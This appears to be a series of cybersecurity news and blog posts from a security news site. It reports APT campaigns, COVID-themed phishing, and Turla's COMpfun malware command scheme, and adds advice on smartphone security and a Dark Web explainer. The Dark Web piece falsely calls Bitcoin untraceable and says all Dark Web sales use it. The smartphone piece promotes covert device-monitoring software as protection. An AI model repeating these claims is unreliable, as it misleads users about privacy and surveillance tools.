Bitdefender’s research team also uncovered a more geographically specific spear-phishing attempt to target the gas sector on April 12. It centered on a relatively small number of shipping companies based in the Philippines. The emails asked them to send details associated with an oil tanker vessel and contained industry-specific language. This spear-phishing campaign occurred over two days. 

The cybersecurity experts that studied these attacks stressed that, since the messages contained accurate details about real-life companies and events associated with the oil industry, the attackers took the time to research to craft maximally convincing content. 

Hackers Love Causing Severe Disruptions

Why are cyberattacks in the energy industry suddenly on the rise? One reason may stem from the way hackers often deploy tactics to cause tremendous harm to necessary services. The oil industry operates on a vast scale. For example, a company specializing in oil and gas exploration planned as much as 300,000 feet of total footage for drilling in one region during 2018. 

The ability to get such impressive outcomes undoubtedly helps oil companies. The increased scale also may make it more necessary to safeguard against cyberattacks, especially as criminals look for ways to cause the most damage. Another recent incident, announced in a United States government alert on February 18, shut down a natural gas compression facility. Operations stopped for two days, causing losses in productivity and revenue. 

Although the publication did not name the energy company, it mentioned that the hackers depended on spear-phishing to get the credentials necessary for entering the businesses’ information technology (IT) network. It then used that access to wreak havoc on the enterprise’s operational technology infrastructure. 

Not a New Concern

Utilities industry cyberattacks have long worried cybersecurity analysts. If concentrated efforts from hackers shut down the electric grid, the effects could be long-lasting and hit virtually every industry and consumer in the affected areas. The risks to the energy sector began before the coronavirus pandemic, too. 

In November 2019, cybersecurity publications discussed a ransomware attack on Petróleos Mexicanos, Mexico’s largest oil and gas company. The perpetrators asked for 562 bitcoins to restore the data. The affected enterprise did not comply, and it had important data backed up. 

Toll Group, an Australian transportation and logistics company with oil and gas companies as clients, suffered a ransomware attack this spring. It was the second such issue in four months, with the first happening in February. 

The Energy Industry Must Remain Vigilant

The challenges posed by COVID-19 and its effect on oil prices may make the respective parties feel the impacts of cyberattacks in the energy industry more acutely. An ideal aim is to prevent those events rather than dealing with the damage afterward. Paying attention to cybersecurity vulnerabilities can help companies make meaningful gains and stay protected.

About the author

Kayla Matthews is a technology and cybersecurity writer, and the owner of To learn more about Kayla and her recent projects, visit her About Me page.

Pierluigi Paganini

(SecurityAffairs – COVID-19, hacking)

The post Hackers Target Oil Producers During COVID-19 Slump appeared first on Security Affairs.

Coronavirus-themed attacks May 10 – May 16, 2020

This post includes the details of the Coronavirus-themed attacks launched from May 10 to May 16, 2020.

Threat actors exploit the interest in the Coronavirus outbreak while infections increase worldwide, experts are observing new campaigns on a daily bases.

Below a list of attacks detected this week.

May 12 – Zeus Sphinx continues to be used in COVID-19-themed attacks

The Zeus Sphinx banking Trojan continues to evolve while receiving new updates it is employed in ongoing coronavirus-themed scams. 

May 13 – Crooks continues to use COVID-19 lures, Microsoft warns

Microsoft discovered a new phishing campaign using COVID-19 lures to target businesses with the infamous LokiBot information-stealer.

May 14 – China-linked hackers are attempting to steal COVID-19 Vaccine Research

US authorities warned healthcare and scientific researchers that China-linked hackers were attempting to steal COVID-19 vaccine research.

May 16 – Microsoft is open-sourcing COVID-19 threat intelligence

Microsoft has recently announced that it has made some of its COVID-19 threat intelligence open-source. 

May 16 – QNodeService Trojan spreads via fake COVID-19 tax relief

Experts spotted a new malware dubbed QNodeService that was involved in COVID-19-themed phishing campaign, crooks promise victims COVID-19 tax relief.

If you are interested in COVID19-themed attacks from February 1 give a look at the following posts:

Pierluigi Paganini

(SecurityAffairs – COVID-19, hacking)

The post Coronavirus-themed attacks May 10 – May 16, 2020 appeared first on Security Affairs.

APT group targets high profile networks in Central Asia

Security firms have foiled an advanced cyber espionage campaign carried out by Chinese APT and aimed at infiltrating a governmental institution and two companies.

Antivirus firms have uncovered and foiled an advanced cyber espionage campaign aimed at a governmental institution and two companies in the telecommunications and gas sector.

The level of sophistication of the attack and the nature of targets suggests the involvement of an advanced persisten threat, likely from China, focused on cyber espionage activity in Central Asia.

Attackers used multiple commodity malware and previously unknown backdoors in the attacks, the analysis of their code suggests a possible link with multiple campaigns uncovered over several years.

Most of the C2 used by the attackers are hosted by the provider Choopa, LLC, and threat actors made large use of Gh0st RAT, a malware attributed to China-linked cyber espionage groups.

The security firm ESET and Avast first detected the attacks since September and January respectively. The researchers identified a host used as a repository containing hacking tools and backdoors, whose code has many similarities with malware previously associated with China-linked APT groups.

“The samples we analyzed contain links to malware samples and campaigns, such as MicrocinBYEBY, and Vicious Panda, previously described by Kaspersky, Palo Alto Networks, and Check Point, respectively. The backdoors we found are custom tools that have not previously been analyzed, as far as we know.” reads a report published by Avast. “The majority of the C&C servers are registered to Choopa, LLC, a hosting platform that has been used by cybercriminals in the past.”

Below a timeline of the attacks that appeared to be associated with the same threat actor.

Avast APT Timeline_May-2020

“An APT group, which we believe could possibly be from China, planted backdoors to gain long-term access to corporate networks. Based on our analysis, we suspect the group was also behind attacks active in Mongolia, Russia, and Belarus.” continues Avast.

Researchers from ESET that investigared into the attacks discovered three backdoors that collectively tracked as Mikroceen. The backdoors allowed the threat actors to manage the target file system, establish a remote shell, take screenshots, manage services and processes, and run console commands.

Below the list of backdoors published by ESET:

  • sqllauncher.dll (VMProtected backdoor)
  • logon.dll (VMProtected backdoor)
  • logsupport.dll (VMProtected backdoor)

Both “sqllauncher.dll” and “logon.dll” run as services and use the same C2 infrastructure, experts noticed that all of them feature protection against reverse engineering. Two of them, “sqllauncher.dll” and “logon.dll,” run as services and use the same C2 server.

Attackers use a version of the Mimikatz post-exploitation tool and rely on Windows Management Instrumentation (WMI) for lateral movement.

“Avast reported its findings to the local CERT team and reached out to the telecommunications company. We have not heard back from either organization.” concluded Avast.

“Avast has recently protected users in Central Asia from further attacks using the samples we analyzed.”

Both Avast and ESET have published a list of indicators of compromise (IoC) for the above threats.

Pierluigi Paganini

(SecurityAffairs – Microcin malware, hacking)

The post APT group targets high profile networks in Central Asia appeared first on Security Affairs.

Chinese APT Tropic Trooper target air-gapped military Networks in Asia

Chinese threat actors, tracked as Tropic Trooper and KeyBoy, has been targeting air-gapped military networks in Taiwan and the Philippines.

Chinese APT group Tropic Trooper, aka KeyBoy, has been targeting air-gapped military networks in Taiwan and the Philippines, Trend Micro researchers reported.

The Tropic Trooper APT that has been active at least since 2011, it was first spotted in 2015 by security experts at Trend Micro when it targeted government ministries and heavy industries in Taiwan and the military in the Philippines.

The threat actor targeted government offices, military, healthcare, transportation, and high-tech industries in Taiwan, the Philippines, and Hong Kong.

Since December 2014, the threat actors are using a malware dubbed USBferry in attacks against military/navy agencies, government institutions, military hospitals, and also a national bank.

“Recently, we discovered the Tropic Trooper group targeting Taiwanese and the Philippine military’s physically isolated environment using a USBferry attack (the name derived from a sample found in a related research).” reads the analysis published by Trend Micro. “USBferry has variants that perform different commands depending on specific targets; it can also combine capabilities, improve its stealth in infected environments, and steal critical information through USB storage”

Tropic Trooper

The USBferry USB malware could execute various commands on specific the infected system and allow to exfiltrate sensitive data through USB storage.

According to Trend Micro’s telemetry, attacks that employ USBferry attack are ongoing since December 2014 and has been targeting military or government users located in Asia.

The malware was first mentioned in a PwC report that attributes it to Tropic Trooper APT, but that did not include a detailed analysis.

The attackers would first target organizations related to military or government that implements fewer security measures compared with the real targets, then they attempt to use them as a proxy to the final target. In one case, the hackers compromised a military hospital and used it to move to the military’s physically isolated network.

Trend Micro researchers identified at least three versions of the malware with different variants and components.”

“Tropic Trooper uses the old way of achieving infection: by ferrying the installer into an air-gapped host machine via USB.” continues the report. “They employ the USB worm infection strategy using the USB device to carry the malware into the target’s computer and facilitate a breach into the secure network environment.”

The group used “tracert” and “ping” commands to map the target’s network
architecture (i.e. “tracert -h 8” collects the route (path) and measures transit delays of packets across an Internet Protocol (IP) network, while pings allow testing the target network’s connectivity).

The attackers attempted to determine if the infected machine has access to the internal network and the target mail portal.

In the absence of network connectivity, the malware collects information from the machine and copy the data to the USB drive.

The experts also discovered that the hackers use different backdoors in a recent attack, including WelCome To SvchostWelcome To IDShell, and Hey! Welcome Server.

The arsenal of the APT group includes scanning tools, a command-line remote control listener/port relay tool, and backdoor payload/steganography payload execution loaders.

“This targeted attack operation can be broken down into four important points.” concludes the report. “First, putting critical data in physically isolated networks is not an overarching solution for preventing cyberespionage activities. Second, their preferred technique of steganography isn’t just used to deliver payloads, but also for sending information back to the C&C server. Third, several hacking tools and components can be used to fulfill attacks in different target networks and environments. These tools and components also have a selfdelete command to make it tricky to trace the attack chain and all the related factors. Lastly, using an invisible web shell hides their C&C server location and makes detecting malicious traffic more difficult for network protection products

Pierluigi Paganini

(SecurityAffairs – Tropic Trooper, hacking)

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Russian APT Turla’s COMpfun malware uses HTTP status codes to receive commands

Russia-linked cyberespionage group Turla targets diplomatic entities in Europe with a new piece of malware tracked as COMpfun.

Security experts from Kaspersky Lab have uncovered a new cyberespionage campaign carried out by Russia-linked APT Turla that employs a new version of the COMpfun malware. The new malware allows attackers to control infected hosts using a technique that relies on HTTP status codes.

COMpfun was first spotted in the wild in 2014 by G DATA researchers, Kaspersky first observed the threat in autumn 2019 when it was employed in attacks against diplomatic entities across Europe.

“You may remember that in autumn 2019 we published a story about how a COMpfun successor known as Reductor infected files on the fly to compromise TLS traffic.” reads the analysis published by Kaspersky. “The campaign operators retained their focus on diplomatic entities, this time in Europe, and spread the initial dropper as a spoofed visa application.”

The Turla APT group (aka SnakeUroburosWaterbugVenomous Bear and KRYPTON) has been active since at least 2007 targeting diplomatic and government organizations and private businesses in the Middle East, Asia, Europe, North and South America, and former Soviet bloc nations.

The list of previously known victims is long and includes also the Swiss defense firm RUAG, US Department of State, and the US Central Command.

In March the APT group employed two new pieces of malware in watering hole attacks targeting several high-profile Armenian websites.

The COMpfun malware analyzed by Kaspersky implements a new technique to receive commands from the C2 as HTTP status codes.

COMpfun is a remote access trojan (RAT) that could collect system data, logs keystrokes, and takes screenshots.

Turla compfun

The new variant of the COMpfun malware includes two new features, the ability to monitor when USB removable devices plugged into or unplugged from the host, and the mentioned C2 communication technique.

The first feature was implemented to allow the malware propagating itself to the connected device.

The second feature was implemented to avoid detection, Turla vxers implemented new C2 protocol that relies on HTTP status codes.

HTTP status codes provide a state of the server and instruct clients on action to do (i.e. drop the connection), COMpfun exploited this mechanism to control the bot running on the compromised systems.

“We observed an interesting C2 communication protocol utilizing rare HTTP/HTTPS status codes (check IETF RFC 7231, 6585, 4918). Several HTTP status codes (422-429) from the Client Error class let the Trojan know what the operators want to do. After the control server sends the status “Payment Required” (402), all these previously received commands are executed.” continues the analysis.

For example, if the COMpfun server would respond with a 402 status code, followed by a 200 status code, the malicious code sends collected target data to C2 with the current tickcount.

Below the list of commands associated with common HTTP status codes:

HTTP statusRFC status meaningCorresponding command functionality
200OKSend collected target data to C2 with current tickcount
402Payment RequiredThis status is the signal to process received (and stored in binary flag) HTTP statuses as commands
422Unprocessable Entity (WebDAV)Uninstall. Delete COM-hijacking persistence and corresponding files on disk
423Locked (WebDAV)Install. Create COM-hijacking persistence and drop corresponding files to disk
424Failed Dependency (WebDAV)Fingerprint target. Send host, network and geolocation data
427Undefined HTTP statusGet new command into IEA94E3.tmp file in %TEMP%, decrypt and execute appended command
428Precondition RequiredPropagate self to USB devices on target
429Too Many RequestsEnumerate network resources on target

“The malware operators retained their focus on diplomatic entities and the choice of a visa-related application – stored on a directory shared within the local network – as the initial infection vector worked in their favor. The combination of a tailored approach to their targets and the ability to generate and execute their ideas certainly makes the developers behind COMPFun a strong offensive team.” concludes Kaspersky.

Pierluigi Paganini

(SecurityAffairs – Turla, malware)

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China-linked hackers are attempting to steal COVID-19 Vaccine Research

US authorities warned healthcare and scientific researchers that China-linked hackers were attempting to steal COVID-19 vaccine research.

US authorities warned healthcare and scientific researchers that China-linked hackers were attempting to steal research related to treatments and vaccines for COVID-19.

“The Federal Bureau of Investigation (FBI) and Cybersecurity and Infrastructure Security Agency (CISA) are issuing this announcement to raise awareness of the threat to COVID-19-related research. The FBI is investigating the targeting and compromise of U.S. organizations conducting COVID-19-related research by PRC-affiliated cyber actors and non-traditional collectors.” reads the joint alert. “These actors have been observed attempting to identify and illicitly obtain valuable intellectual property (IP) and public health data related to vaccines, treatments, and testing from networks and personnel affiliated with COVID-19-related research.”

“The F.B.I. and the Department of Homeland Security are preparing to issue a warning that China’s most skilled hackers and spies are working to steal American research in the crash effort to develop vaccines and treatments for the coronavirus. The efforts are part of a surge in cybertheft and attacks by nations seeking advantage in the pandemic.” reported The New York Times.

“These actors have been observed attempting to identify and illicitly obtain valuable intellectual property and public health data related to vaccines, treatments, and testing from networks and personnel affiliated with COVID-19-related research,” reads a statement from the FBI and the CISA.

“China’s efforts to target these sectors pose a significant threat to our nations response to COVID-19”.

The US agencies recommend targeted organizations to adopt cybersecurity best practices to prevent state-sponsored hackers from stealing COVID-19-related material.

“What else is new with China? What else is new? Tell me. I’m not happy with China.” President Trump commented. “We’re watching it very closely,”.

“China’s long history of bad behavior in cyberspace is well documented, so it shouldn’t surprise anyone they are going after the critical organizations involved in the nation’s response to the Covid-19 pandemic,” said Christopher Krebs, the director of the Cybersecurity and Infrastructure Security Agency. He added that the agency would “defend our interests aggressively.”

The Chinese Government rejected the allegation Beijing on Monday.

“We are leading the world in COVID-19 treatment and vaccine research. It is immoral to target China with rumors and slanders in the absence of any evidence,” Foreign Affairs ministry spokesman Zhao Lijian said.

The Chinese government is not the only one interested in COVID-19 research, nation-state hackers from Russia, Iran, and North Korea are launching spear-phishing and misinformation campaigns in the attempt to target organizations and scientists involved in the vaccine research.

Last week the US and the UK issued a joint alert to warn of the rise in cyber attacks carried out by foreign states against healthcare organizations and researchers.

This is my interview on the topic at TRT World

Pierluigi Paganini

(SecurityAffairs – COVID-19, hacking)

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Cybercrime is moving towards smartphones – this is what you could do to protect your company

By 2021, cybercrimes will cost companies USD 6 trillion, according to a study.

The number of internet users has grown from an estimated at 2 billion in 2015 to 4.4 billion in 2019, but so have the cybercrimes which are expected to cost companies USD 6 trillion worldwide, according to a study by Cybersecurity Ventures.

Similarly, the number of smartphone users has grown from 2.5 billion in 2016 to 3.2 billion in 2019 and is forecasted to grow to 3.8 billion by 2021. Smartphones and the internet will make further inroads to our economic system. But there are certain risks involved as well.

Mobile phones are becoming targets of cybercriminals because of their widespread use and increasing computing power. Consider the fact that more than 60 % of online fraud occurs through mobile phones. This threat is not just towards individual users but businesses as well. It does not matter how large the company is either. 43% of the cyberattacks in 2019 were aimed at smaller businesses because they do not have adequate protection.

Given how vulnerable smartphones are and that the threat from cyber attacks is only expected to increase, here are some measures you can take to protect your business from cybercriminals:

Rethink BYOD:

Bring Your Own Devices (BYOD) offers several benefits to both the organization and employees. Such a policy allows employees at a company to use their mobile phones, tablets, or laptops for work, saving companies the hassle to purchase devices.

However, you need to rethink if you are saving more than what you are losing. Employees have confidential company information on their devices. Such a door into your organization can cost you heavily. Set aside the funds to obtain company devices for use by employees at the office. Consider such an investment as part of your cybersecurity strategy.


Cybersecurity assessments:

The cybersecurity threat landscape is ever-evolving due to the fast nature of innovation. Develop a comprehensive cybersecurity program that includes a regular assessment of your company’s security needs. Identify the strengths of your IT infrastructure against potential attacks, and do not let advances in technology or techniques take that away from you. Similarly, you should identify the vulnerabilities in your systems. Make sure any gaps in your defenses are appropriately plugged. A threat assessment should be an integral component of any cybersecurity policy.

Retrain staff:

Make sure that employees at your organization are informed and up to date on the latest in cyber threats. This way they can protect themselves and the company from cybercriminals. Even a single mistake by one employee can end up creating a door for individuals or groups wishing your company harm. All employees must be trained as a matter of policy. This way, they can identify phishing attacks and manage social engineering scams. Another factor your employees must be mindful of is resource monitoring. Suspicious resource use on company devices, whether it is excess internet or battery usage, should raise alarm bells. However, employees may not look into such things in detail because they do not own the devices. Train your staff to keep track of resource use too.


Employee monitoring:

Most organizations have some form of an employee monitoring policy and track their workers. If you haven’t done so already, develop such a policy, and keep your employees informed to ensure transparency. If you have decided to use company devices, you can opt to install monitoring apps on them. There are several modern monitoring apps currently available such as XNSPY. The app can keep track of online activities, generate a list of call logs, and remote control the device. Furthermore, you can track the location of the device in real-time, and use features such as geofencing and GPS history. There are other powerful features too, such as ambient recording, multimedia access, and online activity tracking. You can also wipe off all the data from a device in case of theft. Monitoring apps such as XNSPY should be a part of your strategy against cybercriminals.


Don’t forget physical infrastructure:

Cybersecurity may involve software updates and training policies, but making sure your physical infrastructure is safe is just as important. Re-evaluate how exposed your digital infrastructure is to physical access. Furthermore, go through the profiles of suppliers and vendors to vet them properly. A small door in any piece of equipment can let cybercriminals through and bypass your entire cybersecurity foundation. Be aware of this threat and make sure that suppliers work by following specific regulations.

Develop a threat monitoring policy:

Anticipating an attack and stopping it is an important part of comprehensive cybersecurity policy. Make sure that you are monitoring your digital infrastructure round the clock.

Invest in threat monitoring software and a team of professionals that can identify, track, and stop an attack.

The concept of designing a cybersecurity system as a fortification is changing to an adaptable system that can accommodate evolving security threats. Furthermore, a monitoring policy also needs to have a clear response plan.

Such a plan details what needs to happen and when in case of an attack. This ensures that there is a speedy response by your company against any threat.


Smartphones have become powerful enough that they can be considered as computers in their own right. While this has created scores of opportunities, there are also clear threats posed by cybercrime. These threats are only going to increase as the internet and smartphone use increases. While protecting your business against cyber criminals requires a considerable investment of time and money, it will pay off in the long run.


Clark Thomas is an expert in VOIP. He helps businesses both small and medium-sized, in implementing and adopting the best security methods for their organization and network. He gives great advice regarding and assists people in boosting the security measures for their website and business.  

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5 Cybersecurity Predictions For 2020

While it may be true that nobody can predict the future, when it comes to cybersecurity you can give it a good go. By looking at the security developments that we have witnessed over the past few years, it is perfectly possible to forecast what is likely to happen in the near future.

Plus, with 2020 just around the corner, now is the time to do exactly that. Staying ahead of the game and doing all you can to avoid the risk of a cyber-attack is vital; and what better way is there to do just that than by preparing yourself in advance.

From the rise of 5G to the implementation of AI, here are five cybersecurity predictions for the coming year.

  1. Targeted ransomware.

While many people may see advances in technology as a good thing, coupled with that movement has seen a rise in people’s susceptibility to cyber-attacks. As time has moved on, ransomware has become more and more targeted against specific businesses, and that doesn’t look set to change in 2020.

In fact, it looks like it’s going to get worse.

Rather than initiating a cyber-attack at the first available opportunity, attackers are now biding their time, gathering intelligence on their soon-to-be victims. In doing so, this enables them to inflict maximum disruption and scale up their ransom demands accordingly.

  1. Cyber-attack? Go phish.

A cyber resilience study by the FSB found there are an incredible seven million cyber-crimes against small businesses every year. A large proportion of these attacks came via what’s known as ‘phishing’ – a type of attack used by cybercriminals masquerading as a trusted person or business to steal data. Using a malicious link, these criminals dupe victims into opening a damaging email, instant message or text message.

As time moves forward, this type of attack is going to become more and more difficult to identify, especially when you consider the growing culture of big data. Email is currently the most popularly used channel for these kinds of attack but, over the next year, cybercriminals will likely start using alternative methods, such as social media messaging and gaming platforms, to target their attacks.

  1. More devices, more problems.

Next year looks set to be the year of 5G – a new data network promising higher internet speeds than ever before. While this is very exciting, the implementation of this network will also bring with it an explosion in the numbers of connected devices and sensors across the world – from connected car services to eHealth applications.

As a result, more data will be being collected than ever before which, in turn, will heighten the potential for data theft. In order to protect against this, cybersecurity firms will therefore need to look at designing effective systems capable of minimising the risk.

  1. Artificial aid.

Most of the pre-existing security solutions available today have been built using human logic. While that may have been fine in the past, as we move forward into an ever-growing technological world, keeping informed about the latest threats is almost impossible manually. Therefore, cybersecurity firms will need to think of new, advanced ways to combat threats – and fast.

Fortunately, this is where artificial intelligence (AI) comes in. Using AI in cyber security is a great way of identifying and responding to threats before they can spread. Utilising this in cyber defence mechanisms can and will need to take centre stage in the coming months, but firms will also need to remain cautious about its potential; cybercriminals will also be able to take advantage of AI, using innovative techniques to identify vulnerabilities and infiltrate networks.

  1. Head in the cloud.

The increasing reliance for public cloud infrastructure only heightens the likelihood of being targeted by cybercriminals. After all, the more exposed a business is, the more at risk it will be.

Therefore, over the next 12 months, many companies will begin looking at their existing data centre and think about creating a hybrid cloud environment for their public and private data. This, in turn, will improve their level of data protection and safeguard them from data loss instances, such as Google’s cloud outage earlier this year.

In conclusion…

Today’s interconnected world provides a wealth of opportunities for cybercriminals and cyber security firms alike. While this may make it sound like a bit of a cat and mouse contest, it’s anything but. By being able to predict what might happen in the coming year, cybersecurity providers can stay ahead of the game and use advanced threat intelligence to develop effective counteractive systems.

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The Dark Web: What You Need to Know

Despite its negative connotations, the Dark Web is nothing to be afraid of. Few know that the Dark Web was actually thought out as a means of preserving privacy and security. However, this also enabled it to become a breeding ground for illegal activity.

There are certainly things to be distrustful of when navigating the Dark Web, and before venturing into it head-first, you should understand certain things about it.

What is the Dark Web?

The first thing you need to know is that there is no actual database for the Dark Web. Instead, there are only what are known as “peer to peer connections”, which means that the data you are accessing is not stored in just one place.

Instead, it is found on thousands of different computers that are part of the network, so that no one can actually identify where the information is coming from. You can upload to the network, but when downloading, there is no telling where you’re getting the data from.

Why do people use the Dark Web?

There are all kinds of uses for the dark web. Some of them are downright nefarious; others, not so much.

  • Drug sales

Taking into consideration the anonymous nature of the Dark Web, it was only a matter of time before it came into use to sell illegal drugs. It is the ideal avenue for this kind of transaction, because of the anonymity factor that is inherent to the Dark Web.

  • Illegal commerce

To say that you can buy anything on the Dark Web would be an understatement. Anything you can imagine, no matter how gruesome, can be purchased on the Dark Web, from guns to stolen data to organs.

  • Child porn

Is it really a surprise that child porn is rampant on the Dark Web? It’s one of the darker aspects of it, but the anonymous nature of it does lend itself to concealing horrible realities like this.

  • Communication

For all its negative connotations and activities, the Dark Web can also be a way to foster open communication that can sometimes save lives or make a change. Especially in cases where governments monitor online activity, having a place to speak out freely can be invaluable.

  • Reporting

The Dark Web can be used as an excellent source for journalists because sources can remain anonymous. Additionally, no one can track their activity, so it cannot attract consequences from authorities.

How to access

You may be wondering how you can access the Dark Web – after all, you can’t just Google it or access it in a regular browser.

Here are some of the aspects you need to keep in mind about accessibility, including the browser you need to use, the URLs, personal credentials you may need, and even acceptable currency, should you decide to make a purchase.

  • TOR browser

The most common way to access the Dark Web is via The Onion Router (TOR), the browser used by most people for this purpose. This ensures that your identity will remain concealed, as will your activity, because it encrypts everything.

You can obtain the TOR browser by downloading it from the official website. It’s as easy as installing it and running it like any normal program. And if you were worried about the legality of it – have no fear.

Both accessing the Dark Web and downloading the means to do so are entirely legal. While this can enable some pretty dark human behavior, it can also give us very necessary freedom to do positive things, as you will see. Not everyone uses it for nefarious purposes.

  • Exact URLs

Something that makes it difficult to navigate the Dark Web is the fact that the pages are not indexed by browsers. That means that anything you may be looking for will require an exact URL. That does limit the amount of people who can access the Dark Web, as well as the scope of the pages one can gain access to.

Unless you know exactly where to look, you may not have a lot of luck finding what you want. That can deter you from searching, or on the contrary, it can determine you to go looking for someone who is well versed in illegal activity and who can help you out.

  • Criminal activity

It comes as no surprise that the Dark Web is a hotbed of criminal activity. No one is advocating that one pick up criminal undertakings in order to use the Dark Web. But generally speaking, the people who will most likely be looking to access URLs here are people who are engaged in all manner of criminal activity.

  • Bitcoin

All transactions on the Dark Web are completed via Bitcoin, as this type of currency cannot be traced. That increases the degree of safety of the transaction, both for buyers and for sellers.

However, that does not mean that these transactions are always safe. There is a high degree of uncertainty that accompanies these transactions, regardless of what you are purchasing.

You might find that the person you are buying from is a scammer who can end up taking your money, but not sending over your product. While identities are protected, transactions are not, so a degree of care is always necessary.

The future of the Dark Web

While authorities are always making efforts to cut down on the number of sites present on the Dark Web, more are always created. In the end, it proves to be a bit of a wasted effort. The more websites get shut down, the more pop up in their place.

Does that mean that the Dark Web will continue in perpetuity? No one can say with any degree of certainty. It is entirely possible that people will seek refuge in the anonymity of the Dark Web as the degree of surveillance grows, or the opposite can happen and we can grow to accept surveillance as a means of ensuring a thin veneer of security.


The Dark Web will always be controversial, but it’s not nearly as scary as it seems. It’s true that it certainly conceals some illegal and immoral behavior, but it can also be used for good. The anonymous and untraceable aspects of it help it remain a somewhat neutral space where one can find the freedom to communicate, investigate, search, trade, make purchases, etc.



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